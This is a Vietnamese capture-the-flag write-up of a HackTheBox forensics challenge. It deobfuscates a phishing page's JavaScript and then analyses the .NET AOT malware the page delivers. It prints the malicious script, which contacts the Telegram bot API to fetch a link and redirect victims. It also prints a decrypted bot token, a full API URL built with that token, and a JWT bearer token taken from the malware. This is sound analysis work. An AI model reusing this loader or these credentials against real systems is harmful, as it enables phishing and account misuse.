---
# System prepended metadata

title: HackTheBox Cyber Apocalypse CTF 2025 writeup
tags: ['@write-up']

---

# Hard
## Tales for the Brave
![Screenshot 2025-03-27 222847](https://hackmd.io/_uploads/Hy7a017pJx.png)

### Overview
Thử thách này cần phải spawn docker để có thể tiến hành cuộc điều tra

## Analyze
Theo như mô tả thì mình sẽ dùng firefox **Bởi vì nếu thực hiện trên trình khác sẽ xảy ra bug dấu "%" vì tôi đã thử :(((** để thực hiện debug cũng như phân tích
Đây là một trang web với mục đích là **phishing**:
![Screenshot 2025-03-27 224409](https://hackmd.io/_uploads/ry9LGemaJe.png)

Tiến hành f12 hoặc ctrl+u:
![image](https://hackmd.io/_uploads/HkQoGxmT1x.png)
* File js này hiểu nôm na sẽ là phần mã bên trong thẻ <script> trong HTML chủ yếu chứa mã JavaScript được thực thi ở phía khách hàng (frontend) => nghĩa là trình duyệt của người dùng xử lý mã này.

Thực hiện vào xem source:
![Screenshot 2025-03-27 224726](https://hackmd.io/_uploads/rykXmgXT1e.png)
* Đoạn mã này đã bị làm rối, nhưng theo kinh nghiệm tích lũy ít ỏi của tôi thì ta nên thực hiện sửa biến => thực hiện debug chạy trên web luôn:

Cách làm như sau:
* Tôi sẽ tiến hành clone cái trang html về và sẽ thay đổi lại như sau:
```html=1
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Newsletter Signup</title>
  <link rel="stylesheet" href="css/index.css">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"></script>
</head>
<body>
  <div class="newsletter">
    <div class="image-section">
      <img src="img/storytellingEldoriaMyths.png"  alt="Rings" />
    </div>
    <div class="form-section">
      <h1>Tales of Eldoria: Stories of Magic and Bravery for the Young and Curious</h1>
      <p>In the mystical lands of Eldoria, where dragons soar and ancient magic pulses through the air, storytelling is more than just a pastime—it's a tradition that bridges generations. Imagine a magical evening where children gather around glowing crystal orbs, listening to the mesmerizing myths and legends of Eldoria. These tales teach courage, friendship, and the magic of harmony.</p>
      <form id="newsletterForm">
        <input type="email" id="email" placeholder="Email" />
		<input type="text" id="descriptionField" placeholder="Description" />
        <div class="checkbox-group">
          <p>The newsletter offers:</p>
          <label><input class="cb" id="c1" type="checkbox" /> Legends of Dragons</label>
          <label><input class="cb" id="c2" type="checkbox" /> Ancient Magic</label>
          <label><input class="cb" id="c3" type="checkbox" /> Adventures of Heroes</label>
          <label><input class="cb" id="c4" type="checkbox" /> Eldoria Myths</label>
        </div>
        <div class="buttons">
            <button type="submit" data-node-outlined="false" class="button primary">SUBMIT</button>
        </div>
      </form>
      
    </div>
  </div>
  <script src="original.js"></script> // Nằm cùng folder
</body>
</html>

```
* Đồng thời trong source javascript tôi sẽ thay biến `eval()` thành biến `console.log()` nhằm in ra cái payload tiếp theo để tiếp tục phân tích:
* Tiến hành cài extension `live server` để có thể deploy chạy dưới local:
* Đây chính là payload thứ 2 của malware này:
* ![image](https://hackmd.io/_uploads/r1W64em6yl.png)

Lên [deobfuscate.io/](https://deobfuscate.io/) để deobfuscated nhằm dễ dàng phân tích hơn:
:::spoiler
```javascript=1
var _$_8b18 = function (k, j) {
	var y = k.length;
	var o = [];
	for (var m = 0; m < y; m++) {
	  o[m] = k.charAt(m);
	}
	;
	for (var m = 0; m < y; m++) {
	  var b = j * (m + 143) + j % 34726;
	  var r = j * (m + 91) + j % 23714;
	  var v = b % y;
	  var s = r % y;
	  var f = o[v];
	  o[v] = o[s];
	  o[s] = f;
	  j = (b + r) % 4449625;
	}
	;
	var a = "";
	var i = "";
	var e = "%";
	var q = "#1";
	var t = "%";
	var h = "#0";
	var w = "#";
	return o.join(i).split(e).join(a).split(q).join(t).split(h).join(w).split(a);
  }("shfnemBLlerpitrtgt%ld%DmvuFeceaEaladerletdtdtsputpnielEvae%%iansn%eimkei%guLt%d%i%tsv%ds%eltee%ewssmnnvdsaiyrroeesmlc@Feroieoel%bt%lIota", 3827531);
  document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function (e) {
	e[_$_8b18[1]]();
	const emailField = document[_$_8b18[3]](_$_8b18[2]);
	const descriptionField = document[_$_8b18[3]](_$_8b18[4]);
	let isValid = true;
	if (!emailField[_$_8b18[5]]) {
	  emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]);
	  isValid = false;
	  setTimeout(() => {
		return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6]);
	  }, 500);
	}
	;
	if (!isValid) {
	  return;
	}
	;
	const emailValue = emailField[_$_8b18[5]];
	const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0];
	const desc = parseInt(descriptionField[_$_8b18[5]], 10);
	f(specialKey, desc);
  });
  ;
  function G(r) {
	return function () {
	  var r = Array.prototype.slice.call(arguments), o = r.shift();
	  return r.reverse().map(function (r, t) {
		return String.fromCharCode(r - o - 7 - t);
	  }).join("");
	}(43, 106, 167, 103, 163, 98) + 1354343..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) {
	  return String.fromCharCode(r.charCodeAt() + -13);
	}).join("") + 4..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function (r) {
	  return String.fromCharCode(r.charCodeAt() + -39);
	}).join("") + 381..toString(36).toLowerCase().split("").map(function (r) {
	  return String.fromCharCode(r.charCodeAt() + -13);
	}).join("") + function () {
	  var r = Array.prototype.slice.call(arguments), o = r.shift();
	  return r.reverse().map(function (r, t) {
		return String.fromCharCode(r - o - 60 - t);
	  }).join("");
	}(42, 216, 153, 153, 213, 187);
  }
  ;
  var _$_5975 = function (o, u) {
	var g = o.length;
	var t = [];
	for (var w = 0; w < g; w++) {
	  t[w] = o.charAt(w);
	}
	;
	for (var w = 0; w < g; w++) {
	  var z = u * (w + 340) + u % 19375;
	  var a = u * (w + 556) + u % 18726;
	  var h = z % g;
	  var q = a % g;
	  var b = t[h];
	  t[h] = t[q];
	  t[q] = b;
	  u = (z + a) % 5939310;
	}
	;
	var k = "";
	var r = "";
	var l = "%";
	var i = "#1";
	var v = "%";
	var e = "#0";
	var f = "#";
	return t.join(r).split(l).join(k).split(i).join(v).split(e).join(f).split(k);
  }("%dimfT%mVlzx%degpatf5bfnrG%6tSiqth5at%easpi0emILmcim%e%/!=eZtnHf%e7cf+3rstO%%.D0i8p3t/Sphryoa%IL0rin%rcAeF6%nsenoYaLeQ5Natp4CrSrCGttUtZrdG%rlxe2poa2rdg=9fQs%&j_of0ButCO tb=r35DyCee8tgaCf=I=%rAQa4fe%ar0aonsGT_v/NgoPouP2%eoe%ue3tl&enTceynCtt4FBs%s/rBsAUEhradnkrstfgd?%t%xeyhcedeTo%olghXMsaocrB3aaDBr5rRa16Cjuct%cOee5lWE_ooo+Ka4%d3TysnehshstepId%%Ieoaycug:i_m=%%mjp0tgaiidoei.prn%sw1d", 4129280);
  function f(oferkfer, icd) {
	const channel_id = -1002496072246;
	var enc_token = _$_5975[0]; // nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==
	if (oferkfer === G(_$_5975[1]) && CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[2]]) === _$_5975[8]) {
	  var decrypted = CryptoJS[_$_5975[12]][_$_5975[11]](enc_token, CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer), {drop: 192})[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]);
	  var HOST = _$_5975[13] + String[_$_5975[14]](47) + String[_$_5975[14]](98) + String[_$_5975[14]](111) + String[_$_5975[14]](116) + decrypted;
	  var xhr = new XMLHttpRequest;
	  xhr[_$_5975[15]] = function () {
		if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
		  const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
		  try {
			const link = resp[_$_5975[20]][_$_5975[19]];
			window[_$_5975[23]][_$_5975[22]](link);
		  } catch (error) {
			alert(_$_5975[24]);
		  }
		}
	  };
	  xhr[_$_5975[29]](_$_5975[25], HOST + String[_$_5975[14]](47) + _$_5975[26] + icd + _$_5975[27] + channel_id + _$_5975[28]);
	  xhr[_$_5975[30]](null);
	} else {
	  alert(_$_5975[24]);
	}
  }
  ;
  ;
  var sequence = [];
  ;
  function l() {
	sequence.push(this.id);
  }
  ;
  ;
  var checkboxes = document.querySelectorAll("input[class=cb]");
  for (var i = 0; i < checkboxes.length; i++) {
	checkboxes[i].addEventListener("change", l);
  }
  
```
:::
```
_$_8b18 = 
[
  'submit',           'preventDefault',
  'email',            'getElementById',
  'descriptionField', 'value',
  'shake',            'add',
  'classList',        'remove',
  '@',                'split',
  'log',              'addEventListener',
  'newsletterForm'
]
```

```
_$_5975= 
[
  'nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==',
  's3cur3k3y',
  'Base64',
  'enc',
  'toString',
  '',
  'join',
  'SHA256',
  '18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=',
  'Utf8',
  'parse',
  'decrypt',
  'RC4Drop',
  'https://api.telegram.org',
  'fromCharCode',
  'onreadystatechange',
  'readyState',
  'DONE',
  'responseText',
  'text',
  'result',
  'log',
  'replace',
  'location',
  'Form submitted!',
  'GET',
  'forwardMessage?chat_id=',
  '&from_chat_id=',
  '&message_id=5',
  'open',
  'send'
]
```
Nôm na logic của đoạn mã độc này là:
1. **Form Submission Handler**:
   - Chặn sự kiện submit form, kiểm tra tính hợp lệ của email.
   - Thu thập giá trị email (phần trước @ làm `specialKey`) và số từ trường "description".

2. **Hàm `f(oferkfer, icd)`**:
   - **Kiểm tra điều kiện**:
     - `oferkfer` phải bằng kết quả hàm `G('s3cur3k3y')` (một chuỗi được mã hóa phức tạp).
     - Chuỗi `sequence` (từ các checkbox) phải có hash SHA256 khớp với giá trị định sẵn.
   - **Giải mã token Telegram**:
     - Sử dụng thuật toán RC4Drop để giải mã `enc_token` thành bot token thật.
   - **Giao tiếp với Telegram API**:
     - Gửi request để forward message từ channel (-1002496072246) đến chat ID (`icd`) chỉ định.
     - Nếu thành công, redirect người dùng đến link độc hại.

3. **Hàm `G()`**:
   - Tạo chuỗi key qua nhiều bước mã hóa (base36, biến đổi char code,...), kết quả là một static key ẩn.

4. **Checkbox Tracking**:
   - Theo dõi thứ tự click checkbox, lưu ID vào mảng `sequence` để kiểm tra hash.

Tiếp theo mình sẽ tiến hành decrypt token của con bot telegram để xem nó forward qua nhưng tin nhắn bí mật gì.
```javascript=1
const CryptoJS = require('crypto-js');
function G(r) {
	return function () {
	  var r = Array.prototype.slice.call(arguments), o = r.shift();
	  return r.reverse().map(function (r, t) {
		return String.fromCharCode(r - o - 7 - t);
	  }).join("");
	}(43, 106, 167, 103, 163, 98) + 1354343..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) {
	  return String.fromCharCode(r.charCodeAt() + -13);
	}).join("") + 4..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function (r) {
	  return String.fromCharCode(r.charCodeAt() + -39);
	}).join("") + 381..toString(36).toLowerCase().split("").map(function (r) {
	  return String.fromCharCode(r.charCodeAt() + -13);
	}).join("") + function () {
	  var r = Array.prototype.slice.call(arguments), o = r.shift();
	  return r.reverse().map(function (r, t) {
		return String.fromCharCode(r - o - 60 - t);
	  }).join("");
	}(42, 216, 153, 153, 213, 187);
  }
  ;
var enc_token = 'nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==';
var oferkfer = G('s3cur3k3y');
var decrypted = CryptoJS['RC4Drop']['decrypt'](enc_token, CryptoJS['enc']['Utf8']['parse'](oferkfer), {drop: 192})['toString'](CryptoJS['enc']['Utf8']);
console.log(decrypted); //7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc
```
Tiến hành forward tin nhắn từ kênh con bot đó qua mình thôi, đầu tiên:
* Lấy thông tin về bot chat này trước, dùng url này: 
* ![Screenshot 2025-03-27 233620](https://hackmd.io/_uploads/rys50xm6ye.png)
* Tiếp theo là đến bước forward chat:
* ![Screenshot 2025-03-27 233719](https://hackmd.io/_uploads/ByqARgX6Jx.png)
url: ```https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessages?from_chat_id=-1002496072246&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883``` 
![image](https://hackmd.io/_uploads/B1UEybXp1e.png)

Ở trong phần bot chat này có chứa 1 file `Brave.zip` + password zip , có lẻ đây là final malware rồi
Tiến hành tải về giải nén zip và tiến hành phân tích tiếp thôi:

Sử dụng detect it easy tool để xem rõ đặc trưng của file:
![Screenshot 2025-03-27 235607](https://hackmd.io/_uploads/ry__mWmake.png)
Tuy là viết bằng ngôn ngữ c++ nhưng cách build lại khác so với nhưng file exe thông thường ở file này có sử dụng thư viện .NET (cụ thể là aot .net)

Trong giải diễn ra thì mình solve bài này theo hướng phân tích động:
* Chạy file malware trên máy ảo => dump process malware về và thực hiện strings 
![image](https://hackmd.io/_uploads/r17Y1P5a1g.png)



Sau giải thì mình có hỏi 1 bạn reverse trong team về cách làm theo hướng phân tích tĩnh
=> Mình sẽ tạo 1 file .sig để load vào ida để dễ đọc code hơn
Tiến hành load vào ida phân tích:
* Debug một hồi thì sẽ thấy có 1 hàm dùng để bắn request đến 1 server nào đó
![Screenshot 2025-03-26 125715](https://hackmd.io/_uploads/HkNrBW7a1l.png)

* Tiếp tục debug sâu hơn là sẽ thấy rõ:
![Screenshot 2025-03-27 000214](https://hackmd.io/_uploads/rkkNHZmaJe.png)
```
Authorization: Bearer Token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcm9tIjoiY29zdGkiLCJjYW1wYWlnbl9pZCI6Ik9wZXJhdGlvbiBFbGRvcmlhIDogRXhwb3NpbmcgdGhlIGJyYXZlcyIsImF1dGgiOiJVMFpTUTJVd1JsRldSamxxVFVjMWVtTkVSbmxPUjAxNFRUTk9abGxxVG05TlZ6VnJXREpKZW1KcVJtNWliRGx6VFVSQ2NrMVhOVzVZTTAxNFpFUk9lbVpSUFQwPSJ9.HelK5pTs6fenv8TKmAPrV3tzhSZm4GEAnEV9vBBtAzg
```
* Tiến hành decode jwt => lấy flag thôi:
![Screenshot 2025-03-28 000651](https://hackmd.io/_uploads/BJhhSWXT1g.png)
![Screenshot 2025-03-28 000714](https://hackmd.io/_uploads/rkZAS-m6kl.png)

## REF:
https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/
**This is official wu**: https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/Tales%20for%20the%20Brave





